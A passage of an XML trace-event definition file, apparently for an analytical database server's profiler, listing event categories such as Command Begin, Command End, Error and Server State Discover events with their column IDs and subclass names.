              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>



    <EVENTCATEGORY>
      <NAME>Command Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for commands.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>15</ID>
          <NAME>Command Begin</NAME>
          <DESCRIPTION>Command begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>Create</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Alter</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DesignAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>WBInsert</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>WBUpdate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>WBDelete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>MergePartitions</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Subscribe</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Batch</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>BeginTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>CommitTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>RollbackTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>GetTransactionState</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>Cancel</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>Import80MiningModels</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>SetAuthContext</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>ImageLoad</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>ImageSave</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>CloneDatabase</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>CreateTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>AlterTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>DeleteTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>ProcessTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>Interpret</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>ExtAuth</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>DBCC</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>RenameTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>SequencePointTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>UpgradeTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>MergePartitionsTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>DisableDatabase</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Tabular JSON Command</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Evict</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>CommitImport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10000</ID>
                  <NAME>Other</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>44</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>16</ID>
          <NAME>Command End</NAME>
          <DESCRIPTION>Command end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>Create</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Alter</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DesignAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>WBInsert</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>WBUpdate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>WBDelete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>MergePartitions</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Subscribe</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Batch</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>BeginTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>CommitTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>RollbackTransaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>GetTransactionState</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>Cancel</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>Import80MiningModels</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>SetAuthContext</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>ImageLoad</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>ImageSave</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>CloneDatabase</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>CreateTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>AlterTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>DeleteTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>ProcessTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>Interpret</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>ExtAuth</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>DBCC</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>RenameTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>SequencePointTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>UpgradeTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>MergePartitionsTabular</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>DisableDatabase</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Tabular JSON Command</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Evict</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>CommitImport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10000</ID>
                  <NAME>Other</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>


      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Errors and Warnings</NAME>
      <TYPE>2</TYPE>
      <DESCRIPTION>Collection of events for server errors.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>17</ID>
          <NAME>Error</NAME>
          <DESCRIPTION>Server error.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>48</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>


    <EVENTCATEGORY>
      <NAME>Discover Server State Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for server state discovers.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>33</ID>
          <NAME>Server State Discover Begin</NAME>
          <DESCRIPTION>Start of Server State Discover.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DISCOVER_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DISCOVER_SESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DISCOVER_TRANSACTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>DISCOVER_DB_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>DISCOVER_JOBS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>DISCOVER_LOCKS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>DISCOVER_PERFORMANCE_COUNTERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>DISCOVER_MEMORYUSAGE</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>DISCOVER_JOB_PROGRESS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>DISCOVER_MEMORYGRANT</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>34</ID>
          <NAME>Server State Discover Data</NAME>
          <DESCRIPTION>Contents of the Server State Discover Response.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DISCOVER_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DISCOVER_SESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DISCOVER_TRANSACTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>DISCOVER_DB_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>DISCOVER_JOBS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>DISCOVER_LOCKS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>DISCOVER_PERFORMANCE_COUNTERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>DISCOVER_MEMORYUSAGE</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>DISCOVER_JOB_PROGRESS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>DISCOVER_MEMORYGRANT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>DISCOVER_COMMANDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>DISCOVER_COMMAND_OBJECTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>DISCOVER_OBJECT_ACTIVITY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>DISCOVER_OBJECT_MEMORY_USAGE</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>35</ID>
          <NAME>Server State Discover End</NAME>
          <DESCRIPTION>End of Server State Discover.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DISCOVER_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DISCOVER_SESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DISCOVER_TRANSACTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>DISCOVER_DB_CONNECTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>DISCOVER_JOBS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>DISCOVER_LOCKS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
